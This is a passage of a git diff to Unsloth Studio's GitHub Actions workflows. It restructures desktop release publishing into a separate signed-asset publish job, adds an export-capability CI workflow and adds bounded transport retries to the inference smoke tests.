           TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY_PASSWORD }}
           XDG_CACHE_HOME: ${{ runner.temp }}/tauri-tools-cache
         with:
           projectPath: studio
           tauriScript: npx --prefix . tauri
-          tagName: ${{ needs.prepare-version.outputs.desktop_release_tag }}
-          releaseName: 'Unsloth Studio (Desktop) ${{ needs.prepare-version.outputs.studio_version }}'
-          releaseBody: |
-            Desktop app for Unsloth Studio.
-
-            **macOS**: Download the Apple Silicon `.dmg`.
-            **Windows**: Download the `-setup.exe` installer.
-            **Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
-
-            > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
-            > Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
-            > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
-            > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
-          releaseDraft: ${{ inputs.draft }}
-          prerelease: ${{ needs.prepare-version.outputs.prerelease }}
           args: -v ${{ matrix.args }}
 
-      # ── macOS: build + sign + notarize + upload ──
+      # ── macOS: build + sign + notarize ──
       - name: Build macOS app
+        id: build_macos
         if: matrix.platform == 'macos-latest'
         uses: tauri-apps/tauri-action@84b9d35b5fc46c1e45415bdb6144030364f7ebc5
         env:
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           TAURI_SIGNING_PRIVATE_KEY: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY }}
           TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY_PASSWORD }}
           APPLE_SIGNING_IDENTITY: ${{ secrets.APPLE_SIGNING_IDENTITY }}
@@ -695,29 +668,14 @@ jobs:
         with:
           projectPath: studio
           tauriScript: npx --prefix . tauri
-          tagName: ${{ needs.prepare-version.outputs.desktop_release_tag }}
-          releaseName: 'Unsloth Studio (Desktop) ${{ needs.prepare-version.outputs.studio_version }}'
-          releaseBody: |
-            Desktop app for Unsloth Studio.
-
-            **macOS**: Download the Apple Silicon `.dmg`.
-            **Windows**: Download the `-setup.exe` installer.
-            **Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
-
-            > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
-            > Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
-            > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
-            > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
-          releaseDraft: ${{ inputs.draft }}
-          prerelease: ${{ needs.prepare-version.outputs.prerelease }}
           args: -v ${{ matrix.args }}
 
-      # ── Windows: build + sign + upload ──
+      # ── Windows: build + sign ──
       - name: Build Windows app
+        id: build_windows
         if: matrix.platform == 'windows-latest'
         uses: tauri-apps/tauri-action@84b9d35b5fc46c1e45415bdb6144030364f7ebc5
         env:
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           TAURI_SIGNING_PRIVATE_KEY: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY }}
           TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY_PASSWORD }}
           AZURE_CLIENT_ID: ${{ secrets.AZURE_CLIENT_ID }}
@@ -728,35 +686,83 @@ jobs:
         with:
           projectPath: studio
           tauriScript: npx --prefix . tauri
-          tagName: ${{ needs.prepare-version.outputs.desktop_release_tag }}
-          releaseName: 'Unsloth Studio (Desktop) ${{ needs.prepare-version.outputs.studio_version }}'
-          releaseBody: |
-            Desktop app for Unsloth Studio.
-
-            **macOS**: Download the Apple Silicon `.dmg`.
-            **Windows**: Download the `-setup.exe` installer.
-            **Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
-
-            > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
-            > Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
-            > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
-            > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
-          releaseDraft: ${{ inputs.draft }}
-          prerelease: ${{ needs.prepare-version.outputs.prerelease }}
           args: -v ${{ matrix.args }}
 
-  # Release process note: only non-draft workflow runs advance the public
-  # desktop-latest updater channel. Draft builds are for private review; if a
-  # draft is manually published later, this channel intentionally remains
-  # unchanged until a narrow manual channel-publish flow is added or a public
-  # desktop release is created by running this workflow with draft=false.
-  publish-updater-channel:
-    name: Publish desktop updater channel
+      - name: Stage release assets
+        shell: bash
+        env:
+          ARTIFACT_PATHS: ${{ steps.build_linux.outputs.artifactPaths || steps.build_macos.outputs.artifactPaths || steps.build_windows.outputs.artifactPaths }}
+          RELEASE_ARCH: ${{ matrix.release_arch }}
+        run: |
+          set -euo pipefail
+          if command -v python3 >/dev/null 2>&1; then
+            PYTHON=python3
+          else
+            PYTHON=python
+          fi
+          "$PYTHON" <<'PY'
+          import json
+          import os
+          import pathlib
+          import re
+          import shutil
+          import sys
+          import unicodedata
+
+          raw_paths = os.environ.get('ARTIFACT_PATHS', '')
+          try:
+              artifact_paths = json.loads(raw_paths)
+          except json.JSONDecodeError as error:
+              sys.exit(f'Invalid tauri-action artifactPaths output: {error}')
+          if not isinstance(artifact_paths, list) or not artifact_paths:
+              sys.exit('tauri-action did not return any release artifacts')
+
+          destination = pathlib.Path(os.environ['RUNNER_TEMP'], 'desktop-release-assets')
+          destination.mkdir(parents=True, exist_ok=True)
+          staged = []
+          for raw_path in artifact_paths:
+              source = pathlib.Path(raw_path)
+              if not source.is_file():
+                  continue
+              name = source.name
+              for extension in ('.app.tar.gz.sig', '.app.tar.gz'):
+                  if name.endswith(extension):
+                      name = f'{name[:-len(extension)]}_{os.environ["RELEASE_ARCH"]}{extension}'
+                      break
+              name = unicodedata.normalize('NFD', name)
+              name = ''.join(character for character in name if not unicodedata.combining(character))
+              name = re.sub(r'[ ()\[\]{}]', '.', name)
+              while '..' in name:
+                  name = name.replace('..', '.')
+              target = destination / name
+              if target.exists():
+                  sys.exit(f'Duplicate staged release asset name: {name}')
+              shutil.copy2(source, target)
+              staged.append(name)
+
+          if not staged:
+              sys.exit('No release files were staged')
+          print('Staged release assets:')
+          print('\n'.join(sorted(staged)))
+          PY
+
+      - name: Upload signed release assets
+        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a  # v7.0.1
+        with:
+          name: desktop-release-${{ matrix.artifact }}
+          path: ${{ runner.temp }}/desktop-release-assets/*
+          if-no-files-found: error
+          compression-level: 0
+          retention-days: 1
+
+  # Only this job gets write access; builds hand off signed files via artifacts.
+  # Draft runs do not advance the public desktop-latest channel.
+  publish-release:
+    name: Publish desktop release
     needs: [prepare-version, build]
-    if: ${{ !inputs.draft }}
     runs-on: ubuntu-latest
     permissions:
-      contents: write
+      contents: write  # create the versioned Release and replace updater-channel metadata
     env:
       GH_REPO: ${{ github.repository }}
       APP_VERSION: ${{ needs.prepare-version.outputs.app_version }}
@@ -765,7 +771,164 @@ jobs:
       DESKTOP_PRERELEASE: ${{ needs.prepare-version.outputs.prerelease }}
 
     steps:
+      - name: Harden runner (audit)
+        uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450  # v2.19.1
+        with:
+          egress-policy: audit
+
+      - name: Download signed release assets
+        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c  # v8.0.1
+        with:
+          pattern: desktop-release-*
+          path: ${{ runner.temp }}/desktop-release-assets
+          merge-multiple: true
+
+      - name: Validate release asset set
+        shell: bash
+        run: |
+          set -euo pipefail
+          python3 <<'PY'
+          import pathlib
+          import os
+          import sys
+
+          asset_dir = pathlib.Path(os.environ['RUNNER_TEMP'], 'desktop-release-assets')
+          files = [path for path in asset_dir.iterdir() if path.is_file()]
+          required_suffixes = (
+              '.dmg',
+              '.app.tar.gz',
+              '.app.tar.gz.sig',
+              '.deb',
+              '.AppImage',
+              '.AppImage.sig',
+              '-setup.exe',
+              '-setup.exe.sig',
+          )
+          for suffix in required_suffixes:
+              matches = [path for path in files if path.name.endswith(suffix)]
+              if len(matches) != 1:
+                  sys.exit(f'Expected exactly one {suffix} release asset, found {len(matches)}')
+          if any(path.name == 'latest.json' for path in files):
+              sys.exit('Build artifacts must not supply latest.json')
+          print('\n'.join(sorted(path.name for path in files)))
+          PY
+
+      - name: Create or validate versioned release
+        shell: bash
+        env:
+          GH_TOKEN: ${{ github.token }}
+          RELEASE_DRAFT: ${{ inputs.draft }}
+        run: |
+          set -euo pipefail
+          notes_file="$RUNNER_TEMP/desktop-release-notes.md"
+          printf '%s\n' "$DESKTOP_RELEASE_NOTES" > "$notes_file"
+
+          release_json="$RUNNER_TEMP/versioned-release.json"
+          # REST tag lookup omits drafts; `gh release view` also checks pending tags.
+          if gh release view "$DESKTOP_RELEASE_TAG" \
+            --json tagName,isDraft,isPrerelease > "$release_json" 2>/dev/null; then
+            python3 <<'PY'
+          import json
+          import os
+          import pathlib
+          import sys
+
+          release = json.loads(pathlib.Path(os.environ['RUNNER_TEMP'], 'versioned-release.json').read_text())
+          expected_draft = os.environ['RELEASE_DRAFT'].lower() == 'true'
+          expected_prerelease = os.environ['DESKTOP_PRERELEASE'].lower() == 'true'
+          if release.get('tagName') != os.environ['DESKTOP_RELEASE_TAG']:
+              sys.exit('Existing desktop release tag does not match the requested tag')
+          if bool(release.get('isDraft')) != expected_draft:
+              sys.exit('Existing desktop release draft state does not match the workflow input')
+          if bool(release.get('isPrerelease')) != expected_prerelease:
+              sys.exit('Existing desktop release prerelease state does not match the requested version')
+          PY
+          else
+            release_flags=(
+              --title "Unsloth Studio (Desktop) ${STUDIO_VERSION}"
+              --notes-file "$notes_file"
+              --target "$GITHUB_SHA"
+            )
+            if [ "$RELEASE_DRAFT" = "true" ]; then
+              release_flags+=(--draft)
+            fi
+            if [ "$DESKTOP_PRERELEASE" = "true" ]; then
+              release_flags+=(--prerelease)
+            fi
+            gh release create "$DESKTOP_RELEASE_TAG" "${release_flags[@]}"
+          fi
+
+      - name: Publish versioned release assets
+        shell: bash
+        env:
+          GH_TOKEN: ${{ github.token }}
+        run: |
+          set -euo pipefail
+          gh release upload "$DESKTOP_RELEASE_TAG" "$RUNNER_TEMP/desktop-release-assets"/* --clobber
+
+      - name: Generate and publish versioned updater metadata
+        shell: bash
+        env:
+          GH_TOKEN: ${{ github.token }}
+        run: |
+          set -euo pipefail
+          python3 <<'PY'
+          import datetime
+          import json
+          import os
+          import pathlib
+          import sys
+          import urllib.parse
+
+          asset_dir = pathlib.Path(os.environ['RUNNER_TEMP'], 'desktop-release-assets')
+          files = [path for path in asset_dir.iterdir() if path.is_file()]
+
+          def exactly_one(suffix: str) -> pathlib.Path:
+              matches = [path for path in files if path.name.endswith(suffix)]
+              if len(matches) != 1:
+                  sys.exit(f'Expected exactly one {suffix} updater asset, found {len(matches)}')
+              return matches[0]
+
+          def entry(signature_suffix: str) -> dict[str, str]:
+              signature_path = exactly_one(signature_suffix)
+              bundle_name = signature_path.name.removesuffix('.sig')
+              bundle_path = asset_dir / bundle_name
+              if not bundle_path.is_file():
+                  sys.exit(f'Missing updater bundle for {signature_path.name}: {bundle_name}')
+              encoded_tag = urllib.parse.quote(os.environ['DESKTOP_RELEASE_TAG'], safe='')
+              encoded_name = urllib.parse.quote(bundle_name, safe='')
+              return {
+                  'signature': signature_path.read_text(),
+                  'url': (
+                      f'https://github.com/{os.environ["GITHUB_REPOSITORY"]}/releases/download/'
+                      f'{encoded_tag}/{encoded_name}'
+                  ),
+              }
+
+          darwin = entry('.app.tar.gz.sig')
+          linux = entry('.AppImage.sig')
+          windows = entry('.exe.sig')
+          notes = pathlib.Path(os.environ['RUNNER_TEMP'], 'desktop-release-notes.md').read_text()
+          metadata = {
+              'version': os.environ['APP_VERSION'],
+              'notes': notes,
+              'pub_date': datetime.datetime.now(datetime.timezone.utc).isoformat(timespec='milliseconds').replace('+00:00', 'Z'),
+              'platforms': {
+                  'darwin-aarch64': darwin,
+                  'darwin-aarch64-app': darwin,
+                  'linux-x86_64': linux,
+                  'linux-x86_64-appimage': linux,
+                  'windows-x86_64': windows,
+                  'windows-x86_64-nsis': windows,
+              },
+          }
+          output = pathlib.Path(os.environ['RUNNER_TEMP'], 'latest.json')
+          output.write_text(json.dumps(metadata, indent=2) + '\n')
+          PY
+          gh release upload "$DESKTOP_RELEASE_TAG" "$RUNNER_TEMP/latest.json" --clobber
+
       - name: Download versioned updater metadata
+        if: ${{ !inputs.draft }}
         shell: bash
         env:
           GH_TOKEN: ${{ github.token }}
@@ -790,6 +953,7 @@ jobs:
           test -s "$RUNNER_TEMP/desktop-updater/latest.json"
 
       - name: Validate versioned updater metadata
+        if: ${{ !inputs.draft }}
         shell: bash
         run: |
           python3 <<'PY'
@@ -849,6 +1013,7 @@ jobs:
           PY
 
       - name: Ensure desktop updater channel release
+        if: ${{ !inputs.draft }}
         shell: bash
         env:
           GH_TOKEN: ${{ github.token }}
@@ -881,6 +1046,7 @@ jobs:
           PY
 
       - name: Prevent updater channel downgrade
+        if: ${{ !inputs.draft }}
         shell: bash
         env:
           GH_TOKEN: ${{ github.token }}
@@ -971,6 +1137,7 @@ jobs:
           PY
 
       - name: Publish desktop updater channel metadata
+        if: ${{ !inputs.draft }}
         shell: bash
         env:
           GH_TOKEN: ${{ github.token }}
diff --git a/.github/workflows/security-audit.yml b/.github/workflows/security-audit.yml
index 0ef2ad1e9d..1275d12216 100644
--- a/.github/workflows/security-audit.yml
+++ b/.github/workflows/security-audit.yml
@@ -2,8 +2,8 @@
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 
 # Multi-language supply-chain audit. Triggers:
-#   - PRs touching any dependency manifest (Python / npm / Cargo) or
-#     this workflow file,
+#   - PRs touching any dependency manifest (Python / npm / Cargo), a
+#     scanner or its allowlist baseline, or this workflow file,
 #   - push to main / pip,
 #   - nightly @ 04:13 UTC so newly-published advisories surface even
 #     when no PR opens,
@@ -57,7 +57,9 @@ on:
       - 'studio/src-tauri/Cargo.lock'
       - 'pyproject.toml'
       - 'scripts/scan_packages.py'
+      - 'scripts/scan_packages_baseline.json'
       - 'scripts/scan_npm_packages.py'
+      - 'scripts/scan_npm_packages_baseline.json'
       - '.github/workflows/security-audit.yml'
   push:
     branches: [main, pip]
diff --git a/.github/workflows/studio-backend-ci.yml b/.github/workflows/studio-backend-ci.yml
index bce355458a..3022127a2b 100644
--- a/.github/workflows/studio-backend-ci.yml
+++ b/.github/workflows/studio-backend-ci.yml
@@ -68,9 +68,10 @@ jobs:
           pip install -r studio/backend/requirements/studio.txt
           # Extras that studio.txt does not list but the import chain needs
           # (python-multipart for FastAPI form/file uploads, sqlalchemy/cryptography
-          #  for the auth DB, yaml/jinja2 for utils.models.model_config, etc.):
+          #  for the auth DB, yaml/jinja2 for utils.models.model_config, psutil for
+          #  the orphan-cleanup process scan, etc.):
           pip install \
-            python-multipart aiofiles sqlalchemy cryptography \
+            python-multipart aiofiles sqlalchemy cryptography psutil \
             pyyaml jinja2 mammoth unpdf requests \
             'numpy<3' pytest pytest-asyncio httpx
           # Torch CPU + transformers are required by a chunk of the backend test
@@ -133,7 +134,7 @@ jobs:
           python -m pip install --upgrade pip
           pip install -r studio/backend/requirements/studio.txt
           pip install \
-            python-multipart aiofiles sqlalchemy cryptography \
+            python-multipart aiofiles sqlalchemy cryptography psutil \
             pyyaml jinja2 mammoth unpdf requests typer \
             'numpy<3' pytest pytest-asyncio httpx
           # torchvision: unsloth_zoo.vision_utils imports it at module scope.
@@ -229,7 +230,9 @@ jobs:
               tests/sh/test_resolve_cuda_archs.sh \
               tests/sh/test_tauri_install_exit_order.sh \
               tests/sh/test_torch_constraint.sh \
-              tests/sh/test_torch_flavor.sh; do
+              tests/sh/test_torch_flavor.sh \
+              tests/sh/test_with_llama_cpp_dir_flag.sh \
+              tests/sh/test_with_llama_cpp_dir_link_behavior.sh; do
               echo "::group::$s"
               bash "$s"
               echo "::endgroup::"
diff --git a/.github/workflows/studio-export-capability-ci.yml b/.github/workflows/studio-export-capability-ci.yml
new file mode 100644
index 0000000000..1ee6489209
--- /dev/null
+++ b/.github/workflows/studio-export-capability-ci.yml
@@ -0,0 +1,76 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+# Runs studio/backend/tests/test_export_capability.py on Linux, Windows and macOS.
+#
+# export_capability() is per-OS (is_apple_silicon() and the PyTorch-import probe differ per
+# platform) and the export backend must import without PyTorch, so this confirms the gating and
+# import-safety on hosted Windows/macOS. Hosted runners have no GPU/MLX, so a real accelerator
+# export is validated separately. No GPU / model / llama.cpp: the tests mock the probes and block
+# torch/unsloth, so the job installs only a CPU PyTorch plus import deps.
+
+name: Studio export capability
+
+on:
+  pull_request:
+    paths:
+      - 'studio/backend/utils/hardware/hardware.py'
+      - 'studio/backend/core/export/export.py'
+      - 'studio/backend/routes/export.py'
+      - 'studio/backend/main.py'
+      - 'studio/backend/tests/test_export_capability.py'
+      - '.github/workflows/studio-export-capability-ci.yml'
+  push:
+    branches: [main]
+    paths:
+      - 'studio/backend/utils/hardware/hardware.py'
+      - 'studio/backend/core/export/export.py'
+      - 'studio/backend/routes/export.py'
+      - 'studio/backend/main.py'
+      - 'studio/backend/tests/test_export_capability.py'
+      - '.github/workflows/studio-export-capability-ci.yml'
+  workflow_dispatch:
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.ref }}
+  cancel-in-progress: true
+
+permissions:
+  contents: read
+
+jobs:
+  capability:
+    name: capability (${{ matrix.os }})
+    strategy:
+      fail-fast: false
+      matrix:
+        os: [ubuntu-latest, windows-latest, macos-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 20
+    env:
+      # No accelerator on hosted runners; keep detection on the CPU path.
+      CUDA_VISIBLE_DEVICES: ""
+    steps:
+      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
+        with:
+          persist-credentials: false
+      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405  # v6.2.0
+        with:
+          python-version: '3.12'
+          cache: 'pip'
+      - name: Upgrade pip
+        run: python -m pip install --upgrade pip
+      - name: Install CPU PyTorch
+        # CPU wheel index so every OS gets a CPU build; keep PyPI as an extra index so torch's
+        # transitive deps still resolve (matching the other workflows in this repo).
+        run: python -m pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple "torch>=2.4,<2.13"
+      - name: Install backend import deps
+        # Enough to import utils.hardware and core.export.export; NOT unsloth (needs a GPU, and
+        # the import-safety test blocks it) or triton/llama.cpp (Linux-only / native builds).
+        run: python -m pip install
+          transformers peft accelerate safetensors huggingface_hub datasets
+          sentencepiece protobuf fastapi starlette structlog psutil
+          python-multipart pydantic httpx "numpy<3" pytest
+      - name: Export capability + import-safety tests
+        working-directory: studio/backend
+        run: python -m pytest tests/test_export_capability.py -q
diff --git a/.github/workflows/studio-inference-smoke.yml b/.github/workflows/studio-inference-smoke.yml
index aebf90380a..58ef2558f3 100644
--- a/.github/workflows/studio-inference-smoke.yml
+++ b/.github/workflows/studio-inference-smoke.yml
@@ -444,6 +444,8 @@ jobs:
           python - <<'PY'
           import json
           import os
+          import time
+          import urllib.error
           import urllib.request
 
           BASE = os.environ["BASE_URL"]
@@ -464,10 +466,26 @@ jobs:
                       "Content-Type": "application/json",
                   },
               )
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  return resp.status, json.loads(resp.read().decode())
+              # Shared CI runners stall sporadically, so retry transport-level
+              # failures only; HTTP status errors surface immediately. Bounded
+              # to fit the job's timeout-minutes: short probes get 3 full
+              # attempts, long probes one retry capped at 300s (a healthy
+              # server answers a retry quickly; a stalled one never does).
+              attempts = 3 if timeout <= 300 else 2
+              for attempt in range(attempts):
+                  try:
+                      t = timeout if attempt == 0 else min(timeout, 300)
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          return resp.status, json.loads(resp.read().decode())
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      if attempt == attempts - 1:
+                          raise
+                      print(f"[retry] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
-          def post_sse(path, body, *, timeout = 600):
+          def post_sse(path, body, *, timeout = 600, retries = 1, complete_on = None):
               """POST a streaming request and accumulate the assistant
               text deltas. The server-side agentic loop ALWAYS returns
               SSE regardless of the request's `stream` field, so any
@@ -483,6 +501,22 @@ jobs:
                                  invocation markers / tool output, since
                                  `delta.content` alone is not evidence
                                  that the tool path executed.
+
+              A shared CI runner can stall the stream transport (the
+              connection opening, or a mid-stream read) even when Studio
+              is healthy, so retry a stall once with a fresh request
+              capped at 300s. A stall means the stream did NOT complete,
+              so partial events are normally NOT returned (an early
+              tool_start with no tool_end is not proof the tool loop
+              finished). The one exception is `complete_on`: an optional
+              predicate over the events collected so far -- when a stall
+              happens after it is already satisfied (the tool ran and
+              produced its result before the trailing read timed out),
+              those events are returned rather than discarded, so the
+              stall-after-answer case still counts. HTTP status errors
+              surface immediately; a stall that yields no completed result
+              across all attempts re-raises so the caller can rotate to
+              the next seed.
               """
               body = {**body, "stream": True}
               data = json.dumps(body).encode()
@@ -495,26 +529,45 @@ jobs:
                       "Content-Type": "application/json",
                   },
               )
-              parts = []
-              events = []
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  for raw in resp:
-                      line = raw.decode().strip()
-                      if not line.startswith("data: "):
-                          continue
-                      payload = line[6:]
-                      if payload == "[DONE]":
-                          break
-                      events.append(payload)
-                      try:
-                          chunk = json.loads(payload)
-                      except json.JSONDecodeError:
-                          continue
-                      for choice in chunk.get("choices", []):
-                          delta = choice.get("delta", {}) or {}
-                          if delta.get("content"):
-                              parts.append(delta["content"])
-              return "".join(parts), events
+              for attempt in range(retries + 1):
+                  parts = []
+                  events = []
+                  t = timeout if attempt == 0 else min(timeout, 300)
+                  try:
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          for raw in resp:
+                              line = raw.decode().strip()
+                              if not line.startswith("data: "):
+                                  continue
+                              payload = line[6:]
+                              if payload == "[DONE]":
+                                  break
+                              events.append(payload)
+                              try:
+                                  chunk = json.loads(payload)
+                              except json.JSONDecodeError:
+                                  continue
+                              for choice in chunk.get("choices", []):
+                                  delta = choice.get("delta", {}) or {}
+                                  if delta.get("content"):
+                                      parts.append(delta["content"])
+                      return "".join(parts), events
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      # A stall after the tool already produced its result is
+                      # the case this probe exists to tolerate: keep those
+                      # events. But a stall with only an early tool_start (no
+                      # completed output) is not proof the tool loop finished,
+                      # so it must not pass -- retry once, then raise so
+                      # _run_tool_probe rotates to the next seed.
+                      if complete_on is not None and complete_on(events):
+                          print(f"[retry-sse] {path}: {exc!r}; keeping {len(events)} completed events", flush = True)
+                          return "".join(parts), events
+                      if attempt == retries:
+                          raise
+                      print(f"[retry-sse] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
           _STUDIO_TOOL_TYPES = {
               "tool_start", "tool_end", "tool_use", "tool_result",
@@ -651,17 +704,55 @@ jobs:
               """
               attempts_log = []
               best = None
+              # Cap the wall-clock spent rotating through stalled seeds so a
+              # persistent no-data wedge fails fast (clean assertion) instead
+              # of being killed by the job's timeout-minutes. A healthy or
+              # merely degenerate round answers in seconds, so all seeds still
+              # run in the normal case; only stalls consume the budget.
+              probe_deadline = time.monotonic() + 300
               for attempt_i in range(max_attempts):
+                  # Cap each read by the budget still remaining (not just a flat
+                  # 180s) and skip an attempt too small to finish, so the whole
+                  # rotation stays within ~300s -- two probes then fit the job's
+                  # timeout-minutes even if every seed stalls.
+                  remaining = int(probe_deadline - time.monotonic())
+                  if attempt_i and remaining < 30:
+                      print(f"[tools] {label}: seed-rotation budget spent after {attempt_i} attempts", flush = True)
+                      break
                   attempt_seed = SEED + attempt_i
-                  content, events = post_sse("/v1/chat/completions", {
-                      "messages":      [{"role": "user", "content": prompt}],
-                      "enable_tools":  True,
-                      "enabled_tools": enabled,
-                      "session_id":    f"{session}-att{attempt_i}",
-                      "temperature":   TOOL_PROBE_TEMP,
-                      "seed":          attempt_seed,
-                      "max_tokens":    600,
-                  })
+                  try:
+                      # Bounded per-attempt timeout, no inner retry -- the seed
+                      # loop IS the retry, so a stall raises quickly and rotates
+                      # rather than spending post_sse's full 600+300s. complete_on
+                      # keeps a stall that already produced the tool result (only
+                      # the trailing read timed out) instead of discarding it.
+                      content, events = post_sse("/v1/chat/completions", {
+                          "messages":      [{"role": "user", "content": prompt}],
+                          "enable_tools":  True,
+                          "permission_mode": "full",
+                          "enabled_tools": enabled,
+                          "session_id":    f"{session}-att{attempt_i}",
+                          "temperature":   TOOL_PROBE_TEMP,
+                          "seed":          attempt_seed,
+                          "max_tokens":    600,
+                      }, timeout = min(180, remaining), retries = 0,
+                         complete_on = lambda ev: _tool_invoked(ev) and _tool_output_contains(ev, *needles))
+                  except urllib.error.HTTPError:
+                      # HTTPError subclasses URLError, so re-raise a real 4xx/5xx
+                      # here instead of letting the transport-stall handler below
+                      # swallow it and rotate seeds -- an endpoint status failure
+                      # must surface, not be masked as missing tool evidence.
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      # A transport stall that outlived post_sse's own retry:
+                      # log it as a failed attempt and rotate to the next seed
+                      # rather than sinking the whole probe on one bad stream.
+                      attempts_log.append({
+                          "attempt": attempt_i, "seed": attempt_seed,
+                          "transport_error": repr(exc),
+                      })
+                      print(f"[tools] retry {label} attempt {attempt_i}: transport {exc!r}", flush = True)
+                      continue
                   invoked  = _tool_invoked(events)
                   produced = _tool_output_contains(events, *needles)
                   attempts_log.append({
@@ -722,15 +813,19 @@ jobs:
           # enough that requiring a tool_call marker would create
           # red-herring failures from infra rather than from Studio.
           try:
+              # Best-effort and bounded: a single 180s attempt keeps a stall
+              # from eating the job's timeout-minutes (it already WARNs, so a
+              # retry buys nothing).
               content, events = post_sse("/v1/chat/completions", {
                   "messages":      [{"role": "user", "content": "Search the web for 'unsloth ai github' and summarise."}],
                   "enable_tools":  True,
+                  "permission_mode": "full",
                   "enabled_tools": ["web_search"],
                   "session_id":    "ci-tool-calling-web",
                   "temperature":   0.0,
                   "seed":          SEED,
                   "max_tokens":    400,
-              })
+              }, timeout = 180, retries = 0)
               print(
                   f"[tools] PASS web_search stream ({len(content)} chars in content, "
                   f"{len(events)} raw events)"
@@ -938,6 +1033,8 @@ jobs:
           import base64
           import json
           import os
+          import time
+          import urllib.error
           import urllib.request
           from openai import OpenAI
           from anthropic import Anthropic
@@ -956,8 +1053,24 @@ jobs:
                       "Content-Type":  "application/json",
                   },
               )
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  return resp.status, json.loads(resp.read().decode())
+              # Shared CI runners stall sporadically, so retry transport-level
+              # failures only; HTTP status errors surface immediately. Bounded
+              # to fit the job's timeout-minutes: short probes get 3 full
+              # attempts, long probes one retry capped at 300s (a healthy
+              # server answers a retry quickly; a stalled one never does).
+              attempts = 3 if timeout <= 300 else 2
+              for attempt in range(attempts):
+                  try:
+                      t = timeout if attempt == 0 else min(timeout, 300)
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          return resp.status, json.loads(resp.read().decode())
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      if attempt == attempts - 1:
+                          raise
+                      print(f"[retry] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
           # ── 1. response_format = json_object (JSON mode) ─────────────
           # llama.cpp's HTTP server supports OpenAI-compatible JSON
diff --git a/.github/workflows/studio-mac-inference-smoke.yml b/.github/workflows/studio-mac-inference-smoke.yml
index d562294d42..946681706a 100644
--- a/.github/workflows/studio-mac-inference-smoke.yml
+++ b/.github/workflows/studio-mac-inference-smoke.yml
@@ -430,6 +430,8 @@ jobs:
           python - <<'PY'
           import json
           import os
+          import time
+          import urllib.error
           import urllib.request
 
           BASE = os.environ["BASE_URL"]
@@ -450,14 +452,41 @@ jobs:
                       "Content-Type": "application/json",
                   },
               )
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  return resp.status, json.loads(resp.read().decode())
+              # Shared CI runners stall sporadically, so retry transport-level
+              # failures only; HTTP status errors surface immediately. Bounded
+              # to fit the job's timeout-minutes: short probes get 3 full
+              # attempts, long probes one retry capped at 300s (a healthy
+              # server answers a retry quickly; a stalled one never does).
+              attempts = 3 if timeout <= 300 else 2
+              for attempt in range(attempts):
+                  try:
+                      t = timeout if attempt == 0 else min(timeout, 300)
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          return resp.status, json.loads(resp.read().decode())
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      if attempt == attempts - 1:
+                          raise
+                      print(f"[retry] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
-          def post_sse(path, body, *, timeout = 600):
+          def post_sse(path, body, *, timeout = 600, retries = 1, soft = False):
               """POST a streaming request and accumulate the assistant
               text deltas. The server-side agentic loop ALWAYS returns
               SSE regardless of the request's `stream` field, so any
-              call with enable_tools=true must use this helper."""
+              call with enable_tools=true must use this helper.
+
